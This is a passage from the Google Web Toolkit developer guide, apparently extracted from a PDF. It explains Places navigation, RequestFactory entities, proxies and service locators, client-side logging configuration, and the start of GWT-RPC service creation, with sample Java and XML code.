To navigate to a new Place in your application, call the goTo() method on your PlaceController. This is illustrated above in the goTo() method of HelloActivity. PlaceController warns the current Activity that it may be stopping (via a PlaceChangeRequest event) and once allowed, fires a PlaceChangeEvent with the new Place. The PlaceHistoryHandler listens for PlaceChangeEvents and updates the URL history token accordingly. The ActivityManager also listens for 298 / 469
PlaceChangeEvents and uses your app's ActivityMapper to start the Activity associated with the new Place. Rather than using PlaceController.goTo(), you can also create a Hyperlink containing the history token for the new Place obtained by calling your PlaceHistoryMapper.getToken(). When the user navigates to a new URL (via hyperlink, back button, or bookmark), PlaceHistoryHandler catches the ValueChangeEvent from the History object and calls your app's PlaceHistoryMapper to turn the history token into its corresponding Place. It then calls PlaceController.goTo() with the new Place. What about apps with multiple panels in the same window whose state should all be saved together in a single URL? You can accomplish this by using an ActivityManager and ActivityMapper for each panel. Using this technique, a Place can be mapped to multiple activities. For further examples, see the resources below.
4.7.10.
Related resources
High-Performance GWT (starting at 18:12, slides 23-41) Using GWT and Eclipse to Build Great Mobile Web Apps (form factor discussion starting at 3:56, slides 6-20)
299 / 469
4.8.
RequestFactory (2.1)
RequestFactory is an alternative to GWT-RPC for creating data-oriented services. RequestFactory and its related interfaces (RequestContext and EntityProxy) make it easy to build data-oriented (CRUD) apps with an ORM-like interface on the client. It is designed to be used with an ORM layer like JDO or JPA on the server, although this is not required.
4.8.1.
Benefits
Overview
RequestFactory makes it easy to implement a data access layer on both client and server. It allows you to structure your server-side code in a data-centric way and provides a higher level of abstraction than GWT-RPC, which is serviceoriented rather than data-oriented. On the client side, RequestFactory keeps track of objects that have been modified and sends only changes to the server, which results in very lightweight network payloads. In addition, RequestFactory provides a solid foundation for automatic batching and caching of requests in the future.
4.8.2.
1. 2. 3. 4. 5. 6. 7. 8.
Let's take a look at the moving parts in an application that uses RequestFactory. Entity Entity Proxies Value Proxies RequestFactory Interface Transportable types Server Implementations Implementing a service in an entity class Using Locator and ServiceLocator
Then we'll take a look at how to put it all together. 1. 2. 3. 4. Wiring Using RequestFactory Entity Relationships Validating Entities
4.8.2.1.
Entities
An entity is a domain class in your application that has concept of a persistent identity. Generally speaking, an entity can be persisted to a data store such as a relational database or the Google App Engine Datastore. In persistence frameworks like JDO and JPA, entities are annotated with @Entity. RequestFactory does not require the use of any particular framework or annotations on your domain classes. Here's part of an entity definition from the Expenses sample application found in the GWT distribution.
300 / 469
package com.google.gwt.sample.expenses.server.domain; /** * The Employee domain object. */ @Entity public class Employee { @Size(min = 3, max = 30) private String userName; private String department; @NotNull private String displayName; private String password; @JoinColumn private Long supervisorKey; @Id @Column(name = "id") @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @Version @Column(name = "version") private Integer version; @Transient private Employee supervisor; public String getDepartment() { return department; } public String getDisplayName() { return this.displayName; } ... }
4.8.2.2.
Entity Proxies
An entity proxy is a client-side representation of a server-side entity. The proxy interfaces are implemented by RequestFactory and they fill the role of a DTO (Data Transfer Object) in GWT-RPC. RequestFactory automatically propagates bean-style properties between entities on the server and the corresponding EntityProxy on the client. Furthermore, the EntityProxy interface enables RequestFactory to compute and send only changes ("deltas") to the server. Here's the EntityProxy corresponding to the Employee shown above.
@ProxyFor(Employee.class) public interface EmployeeProxy extends EntityProxy { String getDepartment(); String getDisplayName(); Long getId(); String getPassword(); EmployeeProxy getSupervisor(); String getUserName(); void setDepartment(String department); void setDisplayName(String displayName); void setPassword(String password); void setSupervisor(EmployeeProxy supervisor); void setUserName(String userName); }
Entity proxies simply extend the EntityProxy interface and use the @ProxyFor or @ProxyForName annotation to reference the server-side entity being represented. It is not necessary to represent every property and method from the server-side entity in the EntityProxy, only getters and setters for properties that should be exposed to the client. Note that while getId() is shown in this example, most client code will want to refer to EntityProxy.stableId() instead, as the EntityProxyId returned by this method is used throughout RequestFactory-related classes. Also note that the getSupervisor() method returns another proxy class (EmployeeProxy). All client-side code must reference EntityProxy subclasses. RequestFactory automatically converts proxy types to their corresponding entity types on the server.
301 / 469
4.8.2.3.
Value Proxies
A value proxy can be used to represent any type. Unlike an EntityProxy, a ValueProxy is not required to expose an ID and version. ValueProxy is often used to represent embedded object types within entities. For example, a Person entity in a contact management application might represent Address as an embedded type so it will be persisted as a serialized object within the person entity.
@Entity public class Person { @Id private Long id; private Integer version = 0; private String firstName, lastName; @Embedded private Address address; ... }
In the client, Address is represented as a ValueProxy and referenced by the containing EntityProxy:
public interface AddressProxy extends ValueProxy { public String getStreet1(); public String getStreet2(); public String getCity(); public String getSt(); public String getZip(); ... } public interface PersonProxy extends EntityProxy { Long getId(); Integer getVersion(); String getFirstName(); String getLastName(); AddressProxy getAddress(); ... }
ValueProxy can be used to pass any bean-like type to and from the server with RequestFactory.
4.8.2.4.
RequestFactory Interface
As with GWT-RPC, you define the interface between your client and server code by extending an interface. You define one RequestFactory interface for your application, and it consists of methods that return service stubs. Here's an example from the Expenses sample app:
public interface ExpensesRequestFactory extends RequestFactory { EmployeeRequest employeeRequest(); ExpenseRequest expenseRequest(); ReportRequest reportRequest(); }
302 / 469
@Service(Employee.class) public interface EmployeeRequest extends RequestContext { Request<Long> countEmployees(); Request<Long> countEmployeesByDepartment( String department); Request<List<EmployeeProxy>> findAllEmployees(); Request<EmployeeProxy> findEmployee(Long id); Request<List<EmployeeProxy>> findEmployeeEntries(int firstResult, int maxResults); Request<List<EmployeeProxy>> findEmployeeEntriesByDepartment( String department, int firstResult, int maxResults); InstanceRequest<EmployeeProxy, Void> persist(); InstanceRequest<EmployeeProxy, Void> remove(); }
The RequestFactory service stubs must extend RequestContext and use the @Service or @ServiceName annotation to name the associated service implementation class on the server. The methods in a service stub do not return entities directly, but rather return subclasses of com.google.web.bindery.requestfactory.shared.Request. This allows the methods on the interface to be invoked asynchronously with Request.fire() similar to passing an AsyncCallback object to each service method in GWT-RPC.
requestFactory.employeeRequest().findEmployee(employeeId).fire( new Receiver<EmployeeProxy>() { @Override public void onSuccess(EmployeeProxy employee) { ... } });
Just like GWT-RPC callers pass an AsyncCallback that implements onSuccess() and onFailure(), Request.fire() takes a Receiver which must implement onSuccess(). Note that Receiver is an abstract class having a default implementation of onFailure() so that you don't have to handle the failure case each time a Request is invoked. To change the default implementation, which simply throws a RuntimeException, you can extend Receiver and override onFailure() with a suitable default implementation for your application. You may also want to override the default implementation of onConstraintViolation(), which returns any constraint violations on the server (see Validating Entities below). The Request type returned from each method is parameterized with the return type of the service method. The type parameter becomes the type expected by the Receiver's onSuccess() method as in the example above. Methods that have no return value should return type Request<Void>. Requests can be parameterized with the following types: Built-in value types: BigDecimal, BigInteger, Boolean, Byte, Enum, Character, Date, Double, Float, Integer, Long, Short, String, Void Custom value types: any subclass of ValueProxy Entity types: any subclass of EntityProxy Collections: List<T> or Set<T>, where T is one of the above value or entity types
Instance methods that operate on an entity itself, like persist() and remove(), return objects of type InstanceRequest rather than Request. This is explained further in the next section.
4.8.2.5.
Transportable types
RequestFactory restricts the types that may be used as proxy properties and service method parameters. Collectively, these types are referred to as transportable types. Each client-side transportable type is mapped to a server-side domain type. The mapping rules are as follows:
303 / 469
Mapping of transportable types to domain types Client type Primitive type (e.g. int) Boxed primitive type (e.g. Integer) Other value types: Enums, BigInteger, BigDecimal, Date @ProxyFor(Foo.class) FooProxy extends EntityProxy @ProxyFor(Bar.class) BarProxy extends ValueProxy Set<T> or List<T> where T is a scalar transportable type Domain type Primitive type Boxed primitive type Other value type A Foo entity A Bar value object Set<T> or List<T>
In determining whether or not a client-side method defined in a proxy or context type is a valid mapping for a domain method, the client types are converted to ther domain equivalent and regular Java type assignability rules are considered. A proxy type will be available on the client if it is: Referenced from a RequestContext as a Request parameter or return type. Referenced from a referenced proxy. A supertype of a referenced proxy that is also a proxy (i.e. assignable to EntityProxy or ValueProxy and has an @ProxyFor(Name) annotation). Referenced via an @ExtraTypes annotation placed on the RequestFactory, RequestContext, or a referenced proxy. Adding an @ExtraTypes annotation on the RequestFactory or RequestContext allows you to add subtypes to "some else's" proxy types.
Polymorphic type-mapping rules: All properties defined in a proxy type or inherited from super-interfaces must be available on the domain type. This allows a proxy interface to extend a "mix-in" interface. All proxies must map to a single domain type via a @ProxyFor(Name) annotation. The @ProxyFor of the proxy instance is used to determine which concrete type on the server to instantiate. Any supertypes of a proxy interface that are assignable to EntityProxy or ValueProxy and have an @ProxyFor(Name) annotation must be valid proxies. Given BProxy extends AProxy: if only BProxy is referenced (e.g. via @ExtraTypes), it is still permissible to create an AProxy. Type relationships between proxy interfaces do not require any particular type relationship between the mapped domain types. Given BProxy extends AProxy: it is allowable for BEntity not to be a subclass of AEntity. This allows for duck-type-mapping of domain objects to proxy interfaces. To return a domain object via a proxy interface, the declared proxy return type must map to a domain type assignable to the returned domain object. The specific returned proxy type will be the most-derived type assignable to the declared proxy type that also maps to the returned domain type or one of its supertypes.
4.8.2.6.
Server Implementations
Services can be implemented on the server in one of two ways: as static methods in a type or as instance methods in a service class accompanied by a ServiceLocator. In either case, the methods defined in a service interface are implemented in the class named in the @Service or @ServiceName annotation. Unlike GWT-RPC, service implementations do not directly implement the RequestContext interface. The server-side service must implement each method defined in the service's RequestContext interface even though the implementation does not formally implement the RequestContext interface. The name and argument list for each method is the same on client and server, with the following mapping rules: Client side methods that return Request<T> return only T on the server. For example, a method that returns Request<String> in the client interface simply returns String on the server. EntityProxy types become the domain entity type on the server, so Request<List<EmployeeProxy>> will just return List<Employee> on the server. a method that returns
304 / 469
Methods that return a Request object in the client interface are implemented as static methods in the service class. Alternatively, they may be implemented as instance methods in a service object returned by a ServiceLocator. Methods that operate on an instance of an entity, like persist() and remove(), return an InstanceRequest object in the client interface. Instance methods do not pass the instance directly, but rather via the using() method on the InstanceRequest. On the server, instance methods must be implemented as non-static methods in the entity type.
The RequestFactory servlet requires four special methods for all entities. They may be implemented either in the entity itself or in a default-instantiable type that implements the Locator interface. The required methods are summarized in the table below. Entity locator methods can be implemented in the entity or a Locator class Method Constructor Directly in entity no-arg constructor Locator<T,I> impl T create (Class<? extends T> clazz) Description Returns a new entity instance Returns an entity's persisted ID, which may be any transportable type. The ID is typically autogenerated by the persistence engine (JDO, JPA, Objectify, etc.) Returns the persisted entity for an ID. When implemented directly in the entity, this method has a special naming convention. On the client side, there is a find() method defined in the RequestFactory interface which service interfaces extend. On the server, the method is named "find" plus the type's simple name, like findEmployee, and takes an argument of the entity's ID type. Used by RequestFactory to infer if an entity has changed. The backing store (JDO, JPA, etc.) is responsible for updating the version each time the object is persisted, and RequestFactory calls getVersion() to learn of changes. This information is used in two places. First, the RequestFactoryServlet sends an UPDATE event to the client if an entity changes as a result of the method invocation on the server, for example, when a call to persist an editable entity results in an updated version on the server. Second, the client maintains a version cache of recently seen entities. Whenever it sees an entity whose version has changed, it fires UPDATE events on the event bus so that listeners can update the view.
getId
id_type getId()
I getId(T domainObject)
find by ID
getVersion
Integer getVersion()
4.8.2.7.
When mapping a service, methods that return a Request object in the client interface are implemented as static methods in a service class, like Employee.findAllEmployees() in the example below. Here is more of the Employee entity in the Expenses sample project:
305 / 469
// The Employee domain object @Entity public class Employee { // properties, getters, and setters omitted public static List<Employee> findAllEmployees() { EntityManager em = entityManager(); try { List<Employee> list = em.createQuery("select o from Employee o").getResultList(); // force to get all the employees list.size(); return list; } finally { em.close(); } } public static Employee findEmployee(Long id) { if (id == null) { return null; } EntityManager em = entityManager(); try { Employee employee = em.find(Employee.class, id); return employee; } finally { em.close(); } } public static final EntityManager entityManager() { return EMF.get().createEntityManager(); } public void persist() { EntityManager em = entityManager(); try { em.persist(this); } finally { em.close(); } } public void remove() { EntityManager em = entityManager(); try { Employee attached = em.find(Employee.class, this.id); em.remove(attached); } finally { em.close(); } } ... }
4.8.2.8.
What if you don't want to implement persistence code in an entity itself? To implement the required entity locator methods, create an entity locator class that extends Locator<T,I>:
public class EmployeeLocator extends Locator<Employee, Long> { @Override public Employee create(Class<? extends Employee> clazz) { return new Employee(); } ... }
306 / 469
Since many persistence frameworks offer generic find/get/query methods, it's also possible to create a generic Locator class and specify it in the @ProxyFor annotation for each entity type. To do this, all your entities can extend a base class that provides getId() and getVersion(). Alternatively, the generic Locator can use reflection to call getId() and getVersion() when needed. Many persistence frameworks also make it possible to utilize a generic DAO class where entity DAOs extend the generic DAO and override methods as needed. One of the benefits of RequestFactory is that it's possible to expose DAO classes directly as services. However, inheriting service methods from a base class doesn't work if services are implemented as static methods in an entity class. Fortunately, you can use a ServiceLocator to tell RequestFactory how to obtain an instance of a service. When using a ServiceLocator, RequestFactory will invoke methods that return a Request type as instance methods instead of static methods. To use a ServiceLocator, simply implement the ServiceLocator interface. It may be as simple as this:
public class MyServiceLocator implements ServiceLocator { @Override public Object getInstance(Class<?> clazz) { try { return clazz.newInstance(); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } }
Then annotate the service interface with the name of the service and locator class:
@Service(value = EmployeeDao.class, locator = MyServiceLocator.class) interface EmployeeRequestContext extends RequestContext
Note: RequestFactory caches ServiceLocator and service instances, so make sure both are thread-safe.
4.8.3.
4.8.3.1.
Wiring
Add the following jars to your WEB-INF/lib directory: requestfactory-server.jar javax/validation/validator-api-1.0.0.GA.jar A JSR 303 Validator of your choice, such as hibernate-validator
307 / 469
<servlet> <servlet-name>requestFactoryServlet</servlet-name> <servletclass>com.google.web.bindery.requestfactory.server.RequestFactoryServlet</servlet-class> <init-param> <param-name>symbolMapsDirectory</param-name> <!-- You'll need to compile with -extras and move the symbolMaps directory to this location if you want stack trace deobfuscation to work --> <param-value>WEB-INF/classes/symbolMaps/</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>requestFactoryServlet</servlet-name> <url-pattern>/gwtRequest</url-pattern> </servlet-mapping>
Once you've created your entities, EntityProxy types, and RequestFactory with its service interfaces, you bring it to life with GWT.create() and initialize it with your application's EventBus:
final EventBus eventBus = new SimpleEventBus(); requestFactory = GWT.create(ExpensesRequestFactory.class); requestFactory.initialize(eventBus);
4.8.3.2.
Using RequestFactory
Now we're ready to put RequestFactory to work. To create a new entity on the client, call RequestContext.create() on the EntityProxy type, then persist it using a method defined in the entity's service interface. Using the example code above to create a new Employee object and persist it to the database, we would write:
EmployeeRequest request = requestFactory.employeeRequest(); EmployeeProxy newEmployee = request.create(EmployeeProxy.class); newEmployee.setDisplayName(...); newEmployee.setDepartment(...); ... Request<Void> createReq = request.persist().using(newEmployee);
All client-side code should use the EmployeeProxy, not the Employee entity itself. This way, the domain object need not be GWT-compatible, unlike GWT-RPC, where the same concrete type is used on both client and server. EmployeeProxy has no constructor because it's an interface, not a class, so you must instantiate it with requestContext.create(EmployeeProxy.class). The benefit of this approach is that it allows RequestFactory to track object creation and modification so it can send only changes to the server. Note that the persist() method has no arguments, which is consistent with the method's implementation in the Employee entity. In the EmployeeRequest interface, it returns type InstanceRequest, which in turn gets the instance on which the method will be invoked from the using() method as shown above. Alternatively, if using a ServiceLocator, the persist() method could be declared as Request<Void> persist(Employee emp), in which case newEmployee would be passed as an argument to the persist() method in place of the using() method. Now let's add the code to save the newly created employee to the server:
createReq.fire(new Receiver<Void>() { @Override public void onSuccess(Void arg0) { // Update display } });
We fire the request with a Receiver, which calls us back when the request has completed. Any objects not returned from RequestContext.create(), such as those received from the server, must be enabled for changes by calling the RequestFactory's edit() method. Any EntityProxies returned from the getters of an editable proxy are also editable.
308 / 469
The edit() method returns a new copy of the immutable object, and the original can be discarded. To send changes to the server, you create a new server request using a method defined in the service interface method and fire it as shown above. All edits occur with a particular context, and when the context is fired, all of those edits are sent, so any method invocation will result in changes being sent to the server.
4.8.3.3.
Entity Relationships
Changes to related entities can be persisted in a single request. For example, this code from the DynatableRF sample app in GWT trunk creates a new Person and Address at the same time:
PersonRequest context = requestFactory.personRequest(); AddressProxy address = context.create(AddressProxy.class); PersonProxy person = context.create(PersonProxy.class); person.setAddress(address); context.persist().using(person).fire(...);
RequestFactory automatically sends the whole object graph in a single request. In this case, the implementation of Person.persist() on the server is responsible for persisting the related Address also, which may or may not happen automatically, depending on the ORM framework and how the relationship is defined. Note that RequestFactory does not currently support embedded objects (@Embedded in various ORM frameworks) because it expects every entity to exist independently with its own ID. When querying the server, RequestFactory does not automatically populate relations in the object graph. To do this, use the with() method on a request and specify the related property name as a String:
Request findReq = requestFactory.personRequest().find(personId).with("address");
It is also necessary to use the with() method to retrieve any properties with types extending ValueProxy. The with() method takes multiple String arguments, so you can specify multiple property names at once. To specify nested properties, use dot notation. Putting it all together, you might have
Request findReq = find(personId).with("phone","address.city","address.zip")
4.8.3.4.
Validating Entities
RequestFactory supports JSR 303 bean validation. This makes it possible to keep validation rules on the server and notify the client when an entity cannot be persisted due to validation failures. To use it, ensure that a JSR 303 implementation is available in the server classpath and annotate your entities with the java.validation annotations like @Size and @NotNull as shown in the Employee entity above. Prior to invoking a service method on the server, RequestFactory will call the validation framework and send any ConstraintViolations from the server to the client, which will then call the onViolation() method on the Receiver for the request.
Conclusion
RequestFactory is the heart of the new "Bindery" features in GWT 2.1. In future articles, we'll look at integration with cell widgets, Editors, the event bus, and Activities and Places.
309 / 469
4.9.
Logging (2.1)
This document is for developers interested in logging client-side code in their GWT applications. Logging is the process of recording events in an application to provide an audit trail to understand how the application executes and to diagnose problems. Logging makes it easier to troubleshoot issues encountered by developers and users. The following sections walk through a logging example application and introduce the basic functionality of the Logging framework and configuration options. Developers should already be familiar with developing a GWT application. 1. Overview of the logging framework 2. Super Simple Recipe for Adding GWT Logging 3. Building/Running the Logging Example 4. Loggers, Handlers and the Root Logger 5. Configuring GWT Logging 6. Different Types of Handlers 7. Client vs. Server-side Logging 8. Remote Logging 9. Making All Logging Code Compile Out 10. Emulated and Non-Emulated Classes
4.9.1.
The logging framework emulates java.util.logging, so it uses the same syntax and has the same behavior as server side logging code. This allows you to share logging code between the client and server side code. A good overview of java logging is here: http://download.oracle.com/javase/6/docs/technotes/guides/logging/overview.html; you should familiarize yourself with java.util.logging to get a good feel for how to use GWT logging. Unlike java.util.logging, GWT logging is configured using .gwt.xml files. You can use these files to enable/disable logging entirely, enable/disable particular handlers, and change the default logging level. When logging is disabled, the code will compile out, so you can use logging when developing/debugging, and then have your production build compile it out to keep your JavaScript size small.
4.9.2.
Adding GWT logging is really quite simple, as simple as the following code example. However understanding how logging works, and how to correctly configure it is important, so please do take the time to read the rest of this document.
# In your .gwt.xml file <inherits name="com.google.gwt.logging.Logging"/> # In your .java file Logger logger = Logger.getLogger("NameOfYourLogger"); logger.log(Level.SEVERE, "this message should get logged");
Warning about inheriting logging: If you do not inherit com.google.gwt.logging.Logging, then logging will technically work, since the emulation of the Java code is always present. However, you will not get any default Handlers, or any ability to configure the Root Logger (as discussed in this document). Not inheriting Logging is sometimes done by libraries that want to log errors or information but do not want to control how a customer application would display that information (they don't want to configure or turn on logging, but they do want to make logging information available if a user of the library does turn on logging).
4.9.3.
You build and run LogExample the same way you would build and run any of the other GWT samples, like Hello. The eclipse directory in the svn source contains a README.txt file to help. When you run it, the following "Logging Example" web page appears with popup menus and checkboxes for triggering test exceptions and seeing how they log.
310 / 469
LogExample is configured using LogExample.gwt.xml. The entry point for the app is LogExample.java it simply creates and adds the various demo modules to the page. Each of these modules illustrates a different set of logging concepts; this tutorial will walk you through them.
4.9.4.
Loggers are organized in a tree structure, with the Root Logger at the root of the tree. Parent/Child relationships are determined by the name of the logger, using "." to separate sections of the name. So if we have two loggers Foo.Bar and Foo.Baz, then they are siblings, with their parent being the logger named Foo. The Foo logger (and any logger with a name which does not contain a dot ".") has the Root Logger as a parent. When you log a message to a logger, if the Level of the message is high enough, it will pass the message on to its parent, which will pass it on to its parent, and so on, until the Root Logger is reached. Along the way, any given logger (including the Root Logger) will also pass the message to any of its Handlers, and if the Level of the message is high enough, those handlers will output the message in some way (to a popup, to stderr, etc.). For a much more detailed explanation of this, see http://java.sun.com/j2se/1.4.2/docs/guide/util/logging/overview.html. If you open LogExample.java you can see that we've created 3 loggers:
// LogExample.java private static Logger childLogger = Logger.getLogger("ParentLogger.Child"); private static Logger parentLogger = Logger.getLogger("ParentLogger"); private static Logger rootLogger = Logger.getLogger("");
We've passed these 3 loggers into LoggerController, which in turn, creates an instance of OneLoggerController for each of them. In OneLoggerController.java you can see example code for changing the Level of the logger, logging to the logger, and logging an exception to the logger. 311 / 469
// OneLoggerController // Change the level of the logger @UiHandler("levelTextBox") void handleLevelClick(ChangeEvent e) { Level level = Level.parse(levelTextBox.getItemText( levelTextBox.getSelectedIndex())); logger.log(Level.SEVERE, "Setting level to: " + level.getName()); logger.setLevel(level); } // Log a message to the logger @UiHandler("logButton") void handleLogClick(ClickEvent e) { Level level = Level.parse(logTextBox.getItemText( logTextBox.getSelectedIndex())); logger.log(level, "This is a client log message"); } // Trigger an exception and log it to the logger @UiHandler("exceptionButton") void handleExceptionClick(ClickEvent e) { try { Level n = null; n.getName(); } catch (NullPointerException ex) { logger.log(Level.SEVERE, "Null Exception Hit", ex); } }
You can play around with these 3 loggers. For now, the easiest place to look for log messages is the popup created in LogExample.java on the web page (different Handlers are discussed in the next section).
4.9.5.
In most simple logging implementations, we simply deal with the Root Logger. All messages get propagated up the tree to the Root Logger. The Level and Handlers attached to the Root Logger are what control which messages get logged and to where. This is the basic idea behind the default Handler configurations in GWT logging. The simplest item you can configure is the Level of the Root Logger. You can do this by adding logLevel query parameter to your URL. Try this now, by adding "&logLevel=SEVERE" to the sample URL. Notice how the default level of all of the loggers is now set to SEVERE rather than to INFO. The other way to configure GWT logging is through a .gwt.xml file as follows:
# LogExample.gwt.xml <set-property name="gwt.logging.logLevel" value="SEVERE"/> # To change the default logLevel <set-property name="gwt.logging.enabled" value="FALSE"/> # To disable logging <set-property name="gwt.logging.consoleHandler" value="DISABLED"/> # To disable a default Handler
You can experiment with configuring logging in the provided LogExample.gwt.xml file.
4.9.6.
GWT logging comes with a set of Handlers already defined and (by default) attached to the Root Logger. You can disable these handlers in the .gwt.xml file as discussed above, extend them, attach them to other loggers, and so forth. You can experiment with adding/removing the various Handlers from the Root Logger using the checkboxes the code behind this in HandlerController.java. Note that if you disable a Handler using the .gwt.xml file, any instance of it will be replaced with a NullLogHandler (which does nothing and compiles out), so the handler cannot be added/removed using the checkboxes. Here's an example of how a checkbox adds or removes a handler:
312 / 469
Most of the default Handlers are very straightforward SystemLogHandler - Logs to stdout. These messages can only be seen in Development Mode look for them in the DevMode window DevelopmentModeLogHandler - Logs by calling method GWT.log. These messages can only be seen in Development mode look for them in the DevMode window ConsoleLogHandler - Logs to the javascript console, which is used by Firebug Lite (for IE), Safari and Chrome(?) FirebugLogHandler - Logs to Firebug PopupLogHandler - Logs to the popup which appears in the upper left hand corner SimpleRemoteLogHandler - Discussed below, in the Remote Logging section
Although the PopupLogHandler is easy to use, it is also a bit invasive. A better solution for most apps is to disable the PopupLogHandler and instead send the log messages to a Panel somewhere in your app. GWT logging is set up to make this easy, and you can see an example of this in CustomLogArea.java. In this case, we have created a VerticalPanel (although any widget which extends HasWidgets and supports multiple add() calls can be used). Once we have one of these widgets, we simply pass it into the constructor of a HasWidgetsLogHandler and add that Handler to a logger.
// VerticalPanel.java VerticalPanel customLogArea; // An example of adding our own custom logging area. Since VerticalPanel extends HasWidgets, // and handles multiple calls to add(widget) gracefully we simply create a new HasWidgetsLogHandler // with it, and add that handler to a logger. In this case, we add it to a particular logger in order // to demonstrate how the logger hierarchy works, but adding it to the root logger would be fine. logger.addHandler(new HasWidgetsLogHandler(customLogArea));
4.9.7.
Although GWT emulates java.util.logging, it is important to understand the difference between server-side and client-side logging. Client-side logging logs to handlers on the client side, while server-side logging logs to handlers on the server side. To make this clear, the client-side GWT code has a Root Logger (and logger hierarchy) that is separate from the serverside code; all of the handlers discussed above are only applicable to client-side code. If code shared by the client and server makes logging calls, then which Root Logger (and logger hierarchy) it logs to will depend on whether it is being executed on the client or server side. You should not add or manipulate Handlers in shared code, since this will not work as expected. In ServerLoggingArea.java, you can experiment with these concepts. The buttons in that section will trigger logging calls on the server, as well as logging calls in SharedClass.java from both the client and server side. Note the slight differences in formatting between client-side and server-side logging, as well as the different handlers each is logged to (in the tutorial, server-side logging will simply log to stderr, while client-side logging will log to all of the Handlers discussed above).
4.9.8.
Remote Logging
In order for events that are logged by client side code to be stored on the server side, you need to use a RemoteLogHandler. This handler will send log messages to the server, where they will be logged using the server side logging mechanism. GWT currently contains a SimpleRemoteLogHandler which will do this in the simplest possible way (using GWT-RPC) and no intelligent batching, exponential backoffs in case of failure, and so forth. This logger is
313 / 469
disabled by default, but you can enable it in the .gwt.xml file (see the section on Handlers above for more details on configuring the default Handlers).
# LogExample.gwt.xml <set-property name="gwt.logging.simpleRemoteHandler" value="ENABLED" />
4.9.9.
When logging is disabled, the compiler will used Deferred Binding to substitute Null implementations for the Logger and Level classes. Since these implementations just return Null, and do nothing, they will generally get trimmed by the GWT compiler (which does a pretty good job of removing useless code). However, it is not guaranteed that other code you write related to logging will compile out. If you want to guarantee that some chunk of code is removed when logging is disabled, you can use the LogConfiguration.loggingIsEnabled() method:
if (LogConfiguration.loggingIsEnabled()) { String logMessage = doSomethingExpensiveThatDoesNotNormallyCompileOut(); logger.severe(logMessage); }
Code that normally compiles out will still be present in Development mode. You can use the same condition as above to hide code from Development Mode, as shown here:
// VerticalPanel.java // Although this code will compile out without this check in web mode, the guard will ensure // that the handler does not show up in development mode. if (LogConfiguration.loggingIsEnabled()) { logger.addHandler(new HasWidgetsLogHandler(customLogArea)); }
4.9.10.
The GWT logging framework does not emulate all parts of java.util.logging. See JRE Emulation Reference for a list of the emulated classes and members. The following Handlers and Formatters are provided:
HTMLFormatter TextFormatter SystemLogHandler ConsoleLogHandler FirebugLogHandler DevelopmentModeLogHandler HasWidgetsLogHandler (and LoggingPopup to use with it)
314 / 469
4.10.1.
Server-side Code
Everything that happens within your web server is referred to as server-side processing. When your application running in the user's browser needs to interact with your server (for example, to load or save data), it makes an HTTP request across the network using a remote procedure call (RPC). While processing an RPC, your server is executing server-side code. GWT provides an RPC mechanism based on Java Servlets to provide access to server side resources. This mechanism includes generation of efficent client and server side code to serialize objects across the network using deferred binding. Tip: Although GWT translates Java into JavaScript for client-side code, GWT does not meddle with your ability to run Java bytecode on your server whatsoever. Server-side code doesn't need to be translatable, so you're free to use any Java library you find useful. GWT does not limit you to this one RPC mechanism or server side development environment. You are free to integrate with other RPC mechanisms, such as JSON using the GWT supplied RequestBuilder class, JSNI methods or a third party library.
4.10.2.
A fundamental difference between AJAX applications and traditional HTML web applications is that AJAX applications do not need to fetch new HTML pages while they execute. Because AJAX pages actually run more like applications within the browser, there is no need to request new HTML from the server to make user interface updates. However, like all client/server applications, AJAX applications usually do need to fetch data from the server as they execute. The mechanism for interacting with a server across a network is called making a remote procedure call (RPC), also sometimes referred to as a server call. GWT RPC makes it easy for the client and server to pass Java objects back and forth over HTTP. When used properly, RPCs give you the opportunity to move all of your UI logic to the client, resulting in greatly improved performance, reduced bandwidth, reduced web server load, and a pleasantly fluid user experience. The server-side code that gets invoked from the client is often referred to as a service, so the act of making a remote procedure call is sometimes referred to as invoking a service. To be clear, though, the term service in this context is not the same as the more general "web service" concept. In particular, GWT services are not related to the Simple Object Access Protocol (SOAP).
315 / 469
4.10.3.
This section outlines the moving parts required to invoke a service. Each service has a small family of helper interfaces and classes. Some of these classes, such as the service proxy, are automatically generated behind the scenes and you generally will never realize they exist. The pattern for helper classes is identical for every service that you implement, so it is a good idea to spend a few moments to familiarize yourself with the terminology and purpose of each layer in server call processing. If you are familiar with traditional remote procedure call (RPC) mechanisms, you will recognize most of this terminology already.
4.10.4.
Creating Services
In order to define your RPC interface, you need to: 1. Define an interface for your service that extends RemoteService and lists all your RPC methods. 2. Define a class to implement the server-side code that extends RemoteServiceServlet and implements the interface you created above. 3. Define an asynchronous interface to your service to be called from the client-side code.
Synchronous Interface
To begin developing a new service interface, create a client-side Java interface that extends the RemoteService tag interface.
package com.example.foo.client; import com.google.gwt.user.client.rpc.RemoteService; public interface MyService extends RemoteService { public String myMethod(String s); }
This synchronous interface is the definitive version of your service's specification. Any implementation of this service on the server-side must extend RemoteServiceServlet and implement this service interface.
316 / 469
package com.example.foo.server; import com.google.gwt.user.server.rpc.RemoteServiceServlet; import com.example.client.MyService; public class MyServiceImpl extends RemoteServiceServlet implements MyService { public String myMethod(String s) { // Do something interesting with 's' here on the server. return s; } }
Tip: It is not possible to call this version of the RPC directly from the client. You must create an asynchronous interface to all your services as shown below.
Asynchronous Interfaces
Before you can actually attempt to make a remote call from the client, you must create another client interface, an asynchronous one, based on your original service interface. Continuing with the example above, create a new interface in the client subpackage:
package com.example.foo.client; interface MyServiceAsync { public void myMethod(String s, AsyncCallback<String> callback); }
The nature of asynchronous method calls requires the caller to pass in a callback object that can be notified when an asynchronous call completes, since by definition the caller cannot be blocked until the call completes. For the same reason, asynchronous methods do not have return types; they generally return void. Should you wish to have more control over the state of a pending request, return Request instead. After an asynchronous call is made, all communication back to the caller is via the passed-in callback object.
Naming Standards
Note the use of the suffix Async and argument referencing the AsyncCallback class in the examples above. The relationship between a service interface and its asynchronous counterpart must follow certain naming standards. The GWT compiler depends on these naming standards in order to generate the proper code to implement RPC. A service interface must have a corresponding asynchronous interface with the same package and name with the Async suffix appended. For example, if a service interface is named com.example.cal.client.SpellingService, then the asynchronous interface must be called com.example.cal.client.SpellingServiceAsync. Each method in the synchronous service interface must have a coresponding method in the asynchronous service interface with an extra AsyncCallback parameter as the last argument.
4.10.5.
Implementing Services
